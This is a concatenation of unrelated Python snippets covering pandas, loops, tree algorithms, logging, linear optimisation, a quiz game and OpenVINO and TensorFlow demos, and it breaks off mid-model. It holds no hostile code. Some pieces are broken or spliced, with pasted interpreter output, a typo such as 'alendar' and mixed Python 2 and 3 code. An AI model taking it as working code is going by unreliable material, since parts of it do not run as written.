# // tree = BinarySearchTree()
# // tree.root = Node(10)
# // tree.root.right = Node(15)
# // tree.root.left = Node(7)
# // tree.root.left.right = Node(9)






import warnings
warnings.filterwarnings("ignore")
import numpy as np
import pandas as pd


df = pd.DataFrame({'a': [10,20],'b':[100,200],'c': ['a','b']})

df.loc['Column_Total']= df.sum(numeric_only=True, axis=0)
df.loc[:,'Row_Total'] = df.sum(numeric_only=True, axis=1)

print(df)

                 a      b    c  Row_Total
0             10.0  100.0    a      110.0
1             20.0  200.0    b      220.0
Column_Total  30.0  300.0  NaN      330.0
with open(filename, 'wb') as handle:
    pickle.dump(dict2save, handle, protocol=pickle.HIGHEST_PROTOCOL)
df.loc[df['PreferredPaymentMode'] == 'COD', 'PreferredPaymentMode' ] = 'Cash on Delivery'
import json

# need a function to grab info from a json, 
with open('people.json', 'r') as f:
    data= json.load(f)['people']
    
@app.get("/registers")
def get_data():
    return data
def RepresentsInt(s):
    try: 
        int(s)
        return True
    except ValueError:
        return False

>>> print RepresentsInt("+123")
True
>>> print RepresentsInt("10.0")
False
## simple square pattern ##

n = 5
for i in range(n):              ## this plays as a row ##
    for j in range(n):          ## this plays as a column ##
        print("*",end = " " )   ## end showing stars with gap ##
    print()                     ## this print is necessary to write to print for next line ##
    
    
################################################################################################

## simple triangle pattern ##


n = 5
for i in range(n):            ## n is already printing 5 rows ##         
    for j in range(i+1):      ## j is set for i + 1 so that every line will add 1 star bcz of column is set for row + 1 star   
        print("*",end = " " ) ## same ##
    print()                   ## same ## 
    
################################################################################################


n = 5
for i in range(n):              # same bcz of 5 star printing 
    for j in range(i,n):        # in this we have given the range from i means it will go first for 0 to 5 then 1 to 5 ..... 4 to 5 this happens due to  
        print("*",end = " " )   # range given a/c to i and stop it to max 5 . In this way it will go like  first 0 index then columns go for 0 to 5 that 
    print()                     # gradually down to 4 to 5 and print only 1 star in the end



################################################################################################

### now the case is diff , now for this we'll set the space as decreasing triangle and and set the triangle from left side ### 


n = 5
for i in range(n):             
    for j in range(i,n):       ###  (0,5)--(0,1,2,3,4)  ###       
        print(" ",end = " " )  ### till here pretend that it has printed the above star pattern but with space ### 
    for j in range(i+1):    
        print("*",end = " " )  ### from here it prints the star pattern for ###
    print()
    
    

################################################################################################


### HILL pattern ###


n = 5
for i in range(n):
    for j in range(i,n):   ### 01234 ### first 0 to 4 then 1 to 4 then .....3 to 4 ### here it will print space of decreasing triangle ###
        print(" ", end = " ")
    for j in range(i):          ###we take i to print one less column to make edge ### here it will print * star in increasing triangle order with right ###
        print("*" ,end = " ")
    for j in range(i + 1):       ### here it will print * star in increasing order with left ###
        print("*" , end = " ")  
        
    print()



################################################################################################


>>> import os
>>> l = ['/home/username/images/s1/4.jpg', '/home/username/images/s1/7.jpg', '/home/username/images/s1/6.jpg', '/home/username/images/s1/3.jpg', '/home/username/images/s1/5.jpg', '/home/username/images/s1/10.jpg', '/home/username/images/s1/9.jpg', '/home/username/images/s1/1.jpg', '/home/username/images/s1/2.jpg', '/home/username/images/s1/12.jpg', '/home/username/images/s1/11.jpg', '/home/username/images/s1/8.jpg']
>>> sorted(l, key=lambda i: int(os.path.splitext(os.path.basename(i))[0]))
['/home/username/images/s1/1.jpg',
 '/home/username/images/s1/2.jpg',
 '/home/username/images/s1/3.jpg',
 '/home/username/images/s1/4.jpg',
 '/home/username/images/s1/5.jpg',
 '/home/username/images/s1/6.jpg',
 '/home/username/images/s1/7.jpg',
 '/home/username/images/s1/8.jpg',
 '/home/username/images/s1/9.jpg',
 '/home/username/images/s1/10.jpg',
 '/home/username/images/s1/11.jpg',
 '/home/username/images/s1/12.jpg']
animals = ["cat", "cat", "dog", "rabbit", "dog", "dog", "horse", "dog"]

#solution 1
def item_indexes(item, sequence):
    indexes = []
    start = 0
    item_count = sequence.count(item)
    for n in range(item_count):
        indexes.append(sequence.index(item, start))
        start = indexes[n]+1
    print(indexes)
    
##solution 2

def item_indexes(item: str, sequence: list):
    indexes = []
    item_count = sequence.count(item)
    for n in range(item_count):
        i = sequence.index(item)
        indexes.append(i + n)
        del sequence[i]
    print(indexes)


item_indexes("dog", animals)
class Tree(object):
    def __init__(self, value, left=None, right=None):
        self.val = value
        self.left = left
        self.right = right 
 
tx = Tree(4, Tree(1, Tree(-2, None, Tree(3, None, None))), Tree(3, Tree(1, None, None), Tree(2, Tree(-4, None, None), Tree(-3, None, None))))


def find_paths(root, required_sum):
    allPaths = []
  
    def find_paths_recursive(currentNode, required_sum, currentPath, allPaths):
      if currentNode is None:
        return
    
      # add the current node to the path
      currentPath.append(currentNode.val)
    
      # if the current node is a leaf and its value is equal to required_sum, save the current path
      if currentNode.val == required_sum and currentNode.left is None and currentNode.right is None:
        allPaths.append(list(currentPath))
      else:
        # traverse the left sub-tree
        find_paths_recursive(currentNode.left, required_sum -
                             currentNode.val, currentPath, allPaths)
        # traverse the right sub-tree
        find_paths_recursive(currentNode.right, required_sum -
                             currentNode.val, currentPath, allPaths)
    
      # remove the current node from the path to backtrack,
      # we need to remove the current node while we are going up the recursive call stack.
      del currentPath[-1]
    
    find_paths_recursive(root, required_sum, [], allPaths)
    
    return allPaths

find_paths(tx, 5)
# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def isSubtree(self, root: Optional[TreeNode], subRoot: Optional[TreeNode]) -> bool:
        #order of first two conditionals is important 
        if not subRoot: return True 
        if not root: return False 
        if self.sameTree(root, subRoot): return True 
        
        return self.isSubtree(root.left, subRoot) or self.isSubtree(root.right, subRoot)
        
        
    def sameTree(self, s, t): 
        if not s and not t: return True 
        if s and t and s.val == t.val: 
            return self.sameTree(s.left, t.left) and self.sameTree(s.right, t.right) 

        return False 
        
        
# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def isSameTree(self, p: Optional[TreeNode], q: Optional[TreeNode]) -> bool:
        if not p and not q: return True 
        if not p or not q: return False 
        if p.val != q.val: return False 
        
        return self.isSameTree(p.left, q.left) and self.isSameTree(p.right, q.right)
        
# sed workaround, shamelessly stolen & modified
# from https://raw.githubusercontent.com/mahmoudadel2/pysed/master/pysed.py
def replace(oldstr, newstr, infile):
    linelist = []
    with open(infile) as f:
        for item in f:
            newitem = re.sub(oldstr, newstr, item)
            linelist.append(newitem)
    with open(infile, "w") as f:
        f.truncate()
        for line in linelist: f.writelines(line)
class ColorizingStreamHandler(logging.StreamHandler):

    BLACK = '\033[0;30m'
    RED = '\033[0;31m'
    GREEN = '\033[0;32m'
    BROWN = '\033[0;33m'
    BLUE = '\033[0;34m'
    PURPLE = '\033[0;35m'
    CYAN = '\033[0;36m'
    GREY = '\033[0;37m'

    DARK_GREY = '\033[1;30m'
    LIGHT_RED = '\033[1;31m'
    LIGHT_GREEN = '\033[1;32m'
    YELLOW = '\033[1;33m'
    LIGHT_BLUE = '\033[1;34m'
    LIGHT_PURPLE = '\033[1;35m'
    LIGHT_CYAN = '\033[1;36m'
    WHITE = '\033[1;37m'

    RESET = "\033[0m"

    def __init__(self, *args, **kwargs):
        self._colors = {logging.DEBUG: self.DARK_GREY,
                        logging.INFO: self.RESET,
                        logging.WARNING: self.BROWN,
                        logging.ERROR: self.RED,
                        logging.CRITICAL: self.LIGHT_RED}
        super(ColorizingStreamHandler, self).__init__(*args, **kwargs)

    @property
    def is_tty(self):
        isatty = getattr(self.stream, 'isatty', None)
        return isatty and isatty()

    def emit(self, record):
        try:
            message = self.format(record)
            stream = self.stream
            if not self.is_tty:
                stream.write(message)
            else:
                message = self._colors[record.levelno] + message + self.RESET
                stream.write(message)
            stream.write(getattr(self, 'terminator', '\n'))
            self.flush()
        except (KeyboardInterrupt, SystemExit):
            raise
        except:
            self.handleError(record)

    def setLevelColor(self, logging_level, escaped_ansi_code):
        self._colors[logging_level] = escaped_ansi_code
class ColoredFormatter(logging.Formatter):
    """Special custom formatter for colorizing log messages!"""

    BLACK = '\033[0;30m'
    RED = '\033[0;31m'
    GREEN = '\033[0;32m'
    BROWN = '\033[0;33m'
    BLUE = '\033[0;34m'
    PURPLE = '\033[0;35m'
    CYAN = '\033[0;36m'
    GREY = '\033[0;37m'

    DARK_GREY = '\033[1;30m'
    LIGHT_RED = '\033[1;31m'
    LIGHT_GREEN = '\033[1;32m'
    YELLOW = '\033[1;33m'
    LIGHT_BLUE = '\033[1;34m'
    LIGHT_PURPLE = '\033[1;35m'
    LIGHT_CYAN = '\033[1;36m'
    WHITE = '\033[1;37m'

    RESET = "\033[0m"

    def __init__(self, *args, **kwargs):
        self._colors = {logging.DEBUG: self.DARK_GREY,
                        logging.INFO: self.RESET,
                        logging.WARNING: self.BROWN,
                        logging.ERROR: self.RED,
                        logging.CRITICAL: self.LIGHT_RED}
        super(ColoredFormatter, self).__init__(*args, **kwargs)

    def format(self, record):
        """Applies the color formats"""
        record.msg = self._colors[record.levelno] + record.msg + self.RESET
        return logging.Formatter.format(self, record)

    def setLevelColor(self, logging_level, escaped_ansi_code):
        self._colors[logging_level] = escaped_ansi_code
# this setting will be used as a flow variable in KNIME
# note the use of flow_variables being used to refer to the name of the flow variable \
	# similar to a dict key
flow_variables['var_py_value_switch']    = 0
# import pandas library
import pandas as pd
  
# dictionary with list object in values
details = {
    'Name' : ['Ankit', 'Aishwarya', 'Shaurya', 'Shivangi'],
    'Age' : [23, 21, 22, 21],
    'University' : ['BHU', 'JNU', 'DU', 'BHU'],
}
  
# creating a Dataframe object 
df = pd.DataFrame(details)
  
df
# Python3 code to demonstrate 
# conversion of lists to dictionary
# using zip()
  
# initializing lists
test_keys = ["Rash", "Kil", "Varsha"]
test_values = [1, 4, 5]
  
# Printing original keys-value lists
print ("Original key list is : " + str(test_keys))
print ("Original value list is : " + str(test_values))
  
# using zip()
# to convert lists to dictionary
res = dict(zip(test_keys, test_values))
  
# Printing resultant dictionary 
print ("Resultant dictionary is : " +  str(res))
df_1 = pd.read_excel(r"C:\Users\Nilotpal.Choudhury\Udemy Assignment-1\warehouse_city.xlsx")
# note the use of r prior to path reference
# defining constraints
for c in customers:
    model += lpSum([flows.get((w, c)) for w in warehouse]) == 1

model += lpSum([open_w[w] for w in warehouse]) == 3

for w in warehouse:
    for c in customers:
        model += open_w[w] >= flows.get((w,c))
# Python program to illustrate
# Add a new column  in Pandas 
  
# Importing the pandas Library
import pandas as pd
  
# creating a data frame with some data values.
data_frame = pd.DataFrame([[i] for i in range(7)], columns =['data'])
  
print (data_frame)
flows = LpVariable.dicts('flows',keys,cat='Integer') # the number of values are included in the list keys and of type integer
open_w = LpVariable.dicts('open_w',distmatrix.index,cat='Binary') # the number of values are included in the list generated by tolist method and of type binary
X1 = LpVariable('X1', lowBound=0, upBound=None, cat='Integer') 
# create a single variable of type Integer with min value 0 and max value infinity
# Create the new column as a list
new_col = ['Lee Kun-hee', 'Xu Zhijun', 'Tim Cook', 'Tony Chen', 'Shen Wei']

# Assign the list to the DataFrame as a column
df['Current Chairperson'] = new_col
df
# Create the dictionary containing the data of the new column
col_dict = {'Samsung': 'Lee kun-hee', 'Huawei': 'Xu Zhijun',
            'Apple': 'Tim Cook', 'Oppo': 'Tony Chen', 'Vivo': 'Shen Wei'}

# Assign the values of the dictionary as the values of the new column
df['Current chairperson'] = col_dict.values()
df

'''
Please remember that the number of values in the list should equal the numbers of rows in the pandas dataframe
'''
# creating a model for running optimization
model = LpProblem('transportprob', sense=LpMinimize)

# defining the objective function
model += lpSum([demand_dict.get(c) * flows[(w, c)] * dist_dict.get((w, c)) for w in open_w for c in distmatrix.columns])

# defining constraints
for c in customers:
    model += lpSum([flows.get((w, c)) for w in warehouse]) == 1 # note the use of comparison operators for constraints

model += lpSum([open_w[w] for w in warehouse]) == 3

for w in warehouse:
    for c in customers:
        model += open_w[w] >= flows.get((w,c))
        
model.solve() # run the solver for solution
def f(ham: str, eggs: str = 'eggs') -> str:
    print("Annotations:", f.__annotations__)
    print("Arguments:", ham, eggs)
    return ham + ' and ' + eggs
import unittest
import socketLogger
import logging
import logging.handlers
import pickle
#import cPickle as pickle

def test_StringReceivedIsSameAsStringSent():
    host = 'localhost'
    port = 9000
    stringSent = "hello world!" 
    stringReceived = None
    log_msg = None

    def sendLogToSocket(host,port, stringSent):
        logger = logging.getLogger('mylogger') # to log Led Observer output over a socket
        sh = logging.handlers.SocketHandler(host,port) # handler to write to socket
        logger.addHandler(sh)
        logger.critical(stringSent) 
        logger.removeHandler(sh)
        sh.close()

    import threading
    t = threading.Thread(target=sendLogToSocket, args=(host,port,stringSent)) # socket requires 2 different ports if on the same machine
    t.start() # send log in a thread

    import socket
    serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #INET => IPv4, STREAM => TCP
    serversocket.bind((host,port)) # 'localhost' => implies only visible within the same machine
    serversocket.listen(1) # accept 1 connection only
    (clientsocket, address) = serversocket.accept()
    chunk = clientsocket.recv(1024)
    print 'socketlistener: data received: ', repr(chunk)
    import struct
    slen = struct.unpack(">L", chunk[:4])[0]
    obj = pickle.loads(chunk[4:])
    print 'un pickling log: ', repr(obj)
    stringReceived = logging.makeLogRecord(obj)
    #log_msg = logging.makeLogRecord(stringReceived)
    print 'socketlistener: converted to log: ', repr(stringReceived)
    clientsocket.close()
    serversocket.close()

    t.join() # wait for the log thread to finish

    print 'string sent: ', repr(stringSent), ' received: ', repr(stringReceived.getMessage())
    assert(stringSent == stringReceived.getMessage())

if __name__ == "__main__":
   test_StringReceivedIsSameAsStringSent()
##making a qr code

# sb se pehle import qrcode and img
# input link
# qrcode shape-- version box_size border
# qr ke andar add kren data link
# make it fit true
# img -- qr.make img(color backcolor)
# img ko save as png --- img.save("test.png")


import qrcode
import image

print("THIS IS A QR CODE GENERATOR")


link_data = input("Paste your link here for the qr code : ")

qr = qrcode.QRCode(
    version=20,
    box_size=20,
    border=10
)
data = link_data

qr.add_data(data)
qr.make(fit=True)
img = qr.make_image(fill = "red",back_color="green")
img.save("QR generator.jpg")


print("Ola mundo")
y = 1
z = 2
x = y + z
print(x)
from pprint import pprint
from configparser import ConfigParser
from powerbi.client import PowerBiClient

# Initialize the Parser.
config = ConfigParser()

# Read the file.
config.read('config/config.ini')

# Get the specified credentials.
client_id = config.get('power_bi_api', 'client_id')
redirect_uri = config.get('power_bi_api', 'redirect_uri')
client_secret = config.get('power_bi_api', 'client_secret')

# Initialize the Client.
power_bi_client = PowerBiClient(
    client_id=client_id,
    client_secret=client_secret,
    scope=['https://analysis.windows.net/powerbi/api/.default'],
    redirect_uri=redirect_uri,
    credentials='config/power_bi_state.jsonc'
)

# Initialize the `Dashboards` service.
dashboard_service = power_bi_client.dashboards()

# Add a dashboard to our Workspace.
dashboard_service.add_dashboard(name='my_new_dashboard')

# Get all the dashboards in our Org.
pprint(dashboard_service.get_dashboards())
pip install pylint
pyreverse -o png <path_to_src>
a = input("Enter your good name : ").upper()
print(f"Hallow {a}")
play = input("Do you want to play this game ? ").lower()
score = 0

if play != "yes":
    quit()
else:
    print(f"Ok then let's get started {a} :)\n")

Question1 = input("Q1 : Who is the father of THOR : \n")
if Question1 == "ODIN".lower():
    print("Correct!")
    print(f"Yes it's {Question1}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question1}")

Question2 = input("Q2 : Who is the brother of THOR : ")
if Question2 == "loki".lower():
    print("Correct!")
    print(f"Yes it's {Question2}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question2}")

Question3 = input("Q3 : Who is the sister of THOR : ")
if Question3 == "Hela".lower():
    print("Correct!")
    print(f"Yes it's {Question3}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question3}")

Question4 = input("Q4: How many hammers do thor have now (write in numbers)? : ")
if Question4 == "2":
    print("Correct!")
    print(f"Yes it's {Question4}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question4}")

Question5 = input("Q5: Did hela killed thor in ragnarok? : ")
if Question5 == "No".lower():
    print("Correct!")
    print(f"Yes it's {Question5}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question5}")

print(f"Your total score is {score}")
print("Your score percentage is " + str((score/5) * 100) + "% ")


print("So you are not allowed to enter in the comic world!!!")
import threading
from django.core.mail import EmailMessage
from django.conf import settings

class EmailThread(threading.Thread):

    def __init__(self, email_message):
        self.email_message = email_message
        threading.Thread.__init__(self)

    def run(self):
        print(self.email_message.send())
        
        
        
email_message = EmailMessage(
                "subject",
                "message",
                settings.EMAIL_HOST_USER,
                ["example@mail.com"]
            )
        

EmailThread(email_message).start()
from sklearn.metrics import confusion_matrix
import seaborn as sns
cf_matrix = confusion_matrix(train_label, sgdl1_clf_pred)
row_sums = cf_matrix.sum(axis=1, keepdims=True)
norm_conf_mx = cf_matrix / row_sums
np.fill_diagonal(norm_conf_mx, 0)
plt.figure(figsize = (50,50))
sns.heatmap(norm_conf_mx, annot=True ,linewidths=.5, cbar=False, cmap="YlGnBu")
import pandas as pd
data_xls = pd.read_excel('excelfile.xlsx', 'Sheet2', dtype=str, index_col=None)
data_xls.to_csv('csvfile.csv', encoding='utf-8', index=False)
df = df.sample(frac = 1)
df = df.reset_index(drop=True)
df_without_label = df.iloc[: , :-1]
df_without_label = df_without_label.iloc[1:,: ]
some_digit = df_without_label.iloc[0]
some_digit_image = some_digit.values.reshape(32, 32)
plt.imshow(some_digit_image, cmap="gray")
plt.axis("off")
plt.show()
import numpy as np
import matplotlib.pyplot as plt

# some fake data
data = np.random.randn(1000)
# evaluate the histogram
values, base = np.histogram(data, bins=40)
#evaluate the cumulative
cumulative = np.cumsum(values)
# plot the cumulative function
plt.plot(base[:-1], cumulative, c='blue')
#plot the survival function
plt.plot(base[:-1], len(data)-cumulative, c='green')

plt.show()
#variáveis

nome = "Meu Nome" #Sempre que colocas o valor entre "" significa que a variável é do tipo string
#variável do tipo string é um tipo de variável que usa texto como base

idade = "28" #variável do tipo string

x = 2
y = 5
#Sempre que defines um valor numérico sem "" significa que a variável passa a ser do tipo int
#variáveis do tipo int, só aceitam valores numéricos inteiros, não podendo colocar texto à mistura



#exemplos do que não podes fazer
!var@ = 1 
#não podes, aliás não consegues usar pontuação na definição das variáveis

total = x + idade 
#não podes juntar diferentes tipos de variáveis numa só
#ou seja não consegues somar a idade "28" que está no formato string, com uma do formato int
#que é específicamente um número, é como se aquele 28 fosse escrito assim "vinte e oito"





#resultados retornados
print(x+y) #vai retornar na tela o valor 7
print("Olá Mundo") #o comando print, exibe qualquer coisa na tela.
exec(open("G:/AREA DE DATOS/Proyectos/Directorio/Fuentes_Informacion/Obtener_InfoDirectorio.py").read())
import calendar

alendar.monthrange(year, month)[1]
1.  abc				- This tiny module delivers the environment you need for creating abstract base classes
2.  argparse		- This module contains tools that make it easier to create user-friendly interfaces from the level of the command line
3.  asyncio			- This is a very large module that delivers the framework and environment for asynchronous programming
4.  base64			- This well-known module delivers a tool for coding and decoding binary code into a format that can be displayed – and 
					  the other way round
5.  collections		- This module offers specialized container data types that work as an alternative to basic contained types for general
					  purposes such as dict, list, set, and tuple.
6.  copy			- Everyone uses this tiny module that contains tools for deep copying of container type data. Its most famous function is `deepcopy` – if not for this function, copying lists and dictionaries would become a torture for developers.
7.  csv				- Delivers functionalities for exporting and importing tabular data in CSV format. The module allows developers to say “load data” or “save data” from to a CSV file.
8.  datetime		- It delivers tools that make it easier to work with dates and times
9.  decimal 		- The module delivers a data type called Decimal. Its main advantage is correct rounding of decimal numbers which is extremely important in billing systems– even
					  a slight distortion with several hundred thousand operations can change the final result significantly
10. functools		- The functools module comes in handy for higher-order functions, ie. the functions that act on or return other functions. You can treat any callable 
					  object as a function for the purposes of this module.
11. hashlib			- his handy module implements a common interface to numerous secure hash and message digest algorithms like the FIPS 
					  secure hash algorithms SHA1, SHA224, SHA256, SHA384, and SHA512
12. http			- his package collects several modules for working with the HyperText Transfer Protocol 
13. importlib 		- The package provides the implementation of the import statement (and the __import__() function) in Python source code
14. itertools		- This useful module implements iterator building blocks inspired by constructs 
					  from APL, Haskell, and SML (all in a form that matches Python programs)
15. inspect 		- The module offers several useful functions that help developers get information about live objects such as 
					  modules, classes, methods, functions, tracebacks, frame objects, and code objects in Python code
16. json			- Helps to work with json data
17. logging			- This module defines functions and classes that provide a flexible event logging system for applications and libraries
18. math			- This module gives developers access to the mathematical functions defined by the C standard
19. multiprocessing	- This handy package supports spawning processes with the help of an API similar to the threading module
20. os				- Offers a portable method of using operating system dependent functionality.
21. pdb				- This module defines an interactive source code debugger
22. random			- pseudo-random number generators for various distributions
23. re				- Provides regular expression matching operations similar to those you get in Perl
24. shutil			- Provides a number of high-level operations on files and collections of files, especially functions that 
					  support file copying and removal
25. sys				- offers access to variables used or maintained by the interpreter and functions that interact strongly 
					  with the interpreter
26. threading		- This useful module builds higher-level threading interfaces on top of the lower level _thread module
27. types			- It defines names for object types used by the standard Python interpreter but not exposed as builtins
28. unittest		- Works similarly to major unit testing frameworks in other programming languages
29. urllib			- This handy package collects several modules for working with URLs
30. uuid			- The module provides immutable UUID objects, as well as the following functions for generating version 1, 3, 4, and 5 UUIDs
from shapely.geometry import Point
import geopandas as gpd
from geopandas import GeoDataFrame

df = pd.read_csv("Long_Lats.csv", delimiter=',', skiprows=0, low_memory=False)

geometry = [Point(xy) for xy in zip(df['Longitude'], df['Latitude'])]
gdf = GeoDataFrame(df, geometry=geometry)   

#this is a simple map that goes with geopandas
world = gpd.read_file(gpd.datasets.get_path('naturalearth_lowres'))
gdf.plot(ax=world.plot(figsize=(10, 6)), marker='o', color='red', markersize=15);
# Imports
import time
import json

import numpy as np
import tokens_bert as tokens

from openvino.runtime import Core
from openvino.runtime import Dimension

# Download the model
# directory where model will be downloaded
base_model_dir = "model"

# desired precision
precision = "FP16-INT8"

# model name as named in Open Model Zoo
model_name = "bert-small-uncased-whole-word-masking-squad-int8-0002"

model_path = f"model/intel/{model_name}/{precision}/{model_name}.xml"
model_weights_path = f"model/intel/{model_name}/{precision}/{model_name}.bin"

download_command = f"omz_downloader " \
                   f"--name {model_name} " \
                   f"--precision {precision} " \
                   f"--output_dir {base_model_dir} " \
                   f"--cache_dir {base_model_dir}"
! $download_command

# Load the model for Entity Extraction with Dynamic Shape
# initialize inference engine
ie_core = Core()
# read the network and corresponding weights from file
model = ie_core.read_model(model=model_path, weights=model_weights_path)

# assign dynamic shapes to every input layer on the last dimension
for input_layer in model.inputs:
    input_shape = input_layer.partial_shape
    input_shape[1] = Dimension(1, 384)
    model.reshape({input_layer: input_shape})

# compile the model for the CPU
compiled_model = ie_core.compile_model(model=model, device_name="CPU")

# get input names of nodes
input_keys = list(compiled_model.inputs)

# Processing
# path to vocabulary file
vocab_file_path = "data/vocab.txt"

# create dictionary with words and their indices
vocab = tokens.load_vocab_file(vocab_file_path)

# define special tokens
cls_token = vocab["[CLS]"]
sep_token = vocab["[SEP]"]

# set a confidence score threshold
confidence_threshold = 0.4

# Preprocessing
# generator of a sequence of inputs
def prepare_input(entity_tokens, context_tokens):
    input_ids = [cls_token] + entity_tokens + [sep_token] + \
        context_tokens + [sep_token]
    # 1 for any index
    attention_mask = [1] * len(input_ids)
    # 0 for entity tokens, 1 for context part
    token_type_ids = [0] * (len(entity_tokens) + 2) + \
        [1] * (len(context_tokens) + 1)

    # create input to feed the model
    input_dict = {
        "input_ids": np.array([input_ids], dtype=np.int32),
        "attention_mask": np.array([attention_mask], dtype=np.int32),
        "token_type_ids": np.array([token_type_ids], dtype=np.int32),
    }

    # some models require additional position_ids
    if "position_ids" in [i_key.any_name for i_key in input_keys]:
        position_ids = np.arange(len(input_ids))
        input_dict["position_ids"] = np.array([position_ids], dtype=np.int32)

    return input_dict

# Postprocessing
def postprocess(output_start, output_end, entity_tokens,
                context_tokens_start_end, input_size):

    def get_score(logits):
        out = np.exp(logits)
        return out / out.sum(axis=-1)

    # get start-end scores for context
    score_start = get_score(output_start)
    score_end = get_score(output_end)

    # index of first context token in tensor
    context_start_idx = len(entity_tokens) + 2
    # index of last+1 context token in tensor
    context_end_idx = input_size - 1

    # find product of all start-end combinations to find the best one
    max_score, max_start, max_end = find_best_entity_window(
        start_score=score_start, end_score=score_end,
        context_start_idx=context_start_idx, context_end_idx=context_end_idx
    )

    # convert to context text start-end index
    max_start = context_tokens_start_end[max_start][0]
    max_end = context_tokens_start_end[max_end][1]

    return max_score, max_start, max_end


def find_best_entity_window(start_score, end_score,
                            context_start_idx, context_end_idx):
    context_len = context_end_idx - context_start_idx
    score_mat = np.matmul(
        start_score[context_start_idx:context_end_idx].reshape(
            (context_len, 1)),
        end_score[context_start_idx:context_end_idx].reshape(
            (1, context_len)),
    )
    # reset candidates with end before start
    score_mat = np.triu(score_mat)
    # reset long candidates (>16 words)
    score_mat = np.tril(score_mat, 16)
    # find the best start-end pair
    max_s, max_e = divmod(score_mat.flatten().argmax(), score_mat.shape[1])
    max_score = score_mat[max_s, max_e]

    return max_score, max_s, max_e

def get_best_entity(entity, context, vocab):
    # convert context string to tokens
    context_tokens, context_tokens_end = tokens.text_to_tokens(
        text=context.lower(), vocab=vocab)
    # convert entity string to tokens
    entity_tokens, _ = tokens.text_to_tokens(text=entity.lower(), vocab=vocab)

    network_input = prepare_input(entity_tokens, context_tokens)
    input_size = len(context_tokens) + len(entity_tokens) + 3

    # openvino inference
    output_start_key = compiled_model.output("output_s")
    output_end_key = compiled_model.output("output_e")
    result = compiled_model(network_input)

    # postprocess the result getting the score and context range for the answer
    score_start_end = postprocess(output_start=result[output_start_key][0],
                                  output_end=result[output_end_key][0],
                                  entity_tokens=entity_tokens,
                                  context_tokens_start_end=context_tokens_end,
                                  input_size=input_size)

    # return the part of the context, which is already an answer
    return context[score_start_end[1]:score_start_end[2]], score_start_end[0]

# Set the Entity Recognition Template
template = ["building", "company", "persons", "city",
            "state", "height", "floor", "address"]

def run_analyze_entities(context):
    print(f"Context: {context}\n", flush=True)

    if len(context) == 0:
        print("Error: Empty context or outside paragraphs")
        return

    if len(context) > 380:
        print("Error: The context is too long for this particular model. "
              "Try with context shorter than 380 words.")
        return

    # measure processing time
    start_time = time.perf_counter()
    extract = []
    for field in template:
        entity_to_find = field + "?"
        entity, score = get_best_entity(entity=entity_to_find,
                                        context=context,
                                        vocab=vocab)
        if score >= confidence_threshold:
            extract.append({"Entity": entity, "Type": field,
                            "Score": f"{score:.2f}"})
    end_time = time.perf_counter()
    res = {"Extraction": extract, "Time": f"{end_time - start_time:.2f}s"}
    print("\nJSON Output:")
    print(json.dumps(res, sort_keys=False, indent=4))

# Run on Simple Text
# Sample 1
source_text = "Intel Corporation is an American multinational and technology" \
    " company headquartered in Santa Clara, California."
run_analyze_entities(source_text)

# Sample 2
source_text = "Intel was founded in Mountain View, California, " \
    "in 1968 by Gordon E. Moore, a chemist, and Robert Noyce, " \
    "a physicist and co-inventor of the integrated circuit."
run_analyze_entities(source_text)

# Sample 3
source_text = "The Robert Noyce Building in Santa Clara, California, " \
    "is the headquarters for Intel Corporation. It was constructed in 1992 " \
    "and is located at 2200 Mission College Boulevard - 95054. It has an " \
    "estimated height of 22.20 meters and 6 floors above ground."
run_analyze_entities(source_text)
# Import TensorFlow and Other Libraries
import os
import sys
from pathlib import Path

import PIL
import matplotlib.pyplot as plt
import numpy as np
import tensorflow as tf
from PIL import Image
from openvino.runtime import Core
from openvino.tools.mo import mo_tf
from tensorflow import keras
from tensorflow.keras import layers
from tensorflow.keras.models import Sequential

sys.path.append("../utils")
from notebook_utils import download_file

# Download and Explore the Dataset
import pathlib
dataset_url = "https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz"
data_dir = tf.keras.utils.get_file('flower_photos', origin=dataset_url, untar=True)
data_dir = pathlib.Path(data_dir)

image_count = len(list(data_dir.glob('*/*.jpg')))
print(image_count)

roses = list(data_dir.glob('roses/*'))
PIL.Image.open(str(roses[0]))
PIL.Image.open(str(roses[1]))

tulips = list(data_dir.glob('tulips/*'))
PIL.Image.open(str(tulips[0]))
PIL.Image.open(str(tulips[1]))

# Create a Dataset
batch_size = 32
img_height = 180
img_width = 180

train_ds = tf.keras.preprocessing.image_dataset_from_directory(
  data_dir,
  validation_split=0.2,
  subset="training",
  seed=123,
  image_size=(img_height, img_width),
  batch_size=batch_size)

val_ds = tf.keras.preprocessing.image_dataset_from_directory(
  data_dir,
  validation_split=0.2,
  subset="validation",
  seed=123,
  image_size=(img_height, img_width),
  batch_size=batch_size)

class_names = train_ds.class_names
print(class_names)

# Visualize the Data
plt.figure(figsize=(10, 10))
for images, labels in train_ds.take(1):
    for i in range(9):
        ax = plt.subplot(3, 3, i + 1)
        plt.imshow(images[i].numpy().astype("uint8"))
        plt.title(class_names[labels[i]])
        plt.axis("off")

for image_batch, labels_batch in train_ds:
    print(image_batch.shape)
    print(labels_batch.shape)
    break

# Configure the Dataset for Performance
# AUTOTUNE = tf.data.AUTOTUNE
AUTOTUNE = tf.data.experimental.AUTOTUNE
train_ds = train_ds.cache().shuffle(1000).prefetch(buffer_size=AUTOTUNE)
val_ds = val_ds.cache().prefetch(buffer_size=AUTOTUNE)

# Standardize the Data
normalization_layer = layers.experimental.preprocessing.Rescaling(1./255)

normalized_ds = train_ds.map(lambda x, y: (normalization_layer(x), y))
image_batch, labels_batch = next(iter(normalized_ds))
first_image = image_batch[0]
# Notice the pixels values are now in `[0,1]`.
print(np.min(first_image), np.max(first_image)) 

# Create the Model
num_classes = 5

model = Sequential([
  layers.experimental.preprocessing.Rescaling(1./255, input_shape=(img_height, img_width, 3)),
  layers.Conv2D(16, 3, padding='same', activation='relu'),
  layers.MaxPooling2D(),
  layers.Conv2D(32, 3, padding='same', activation='relu'),
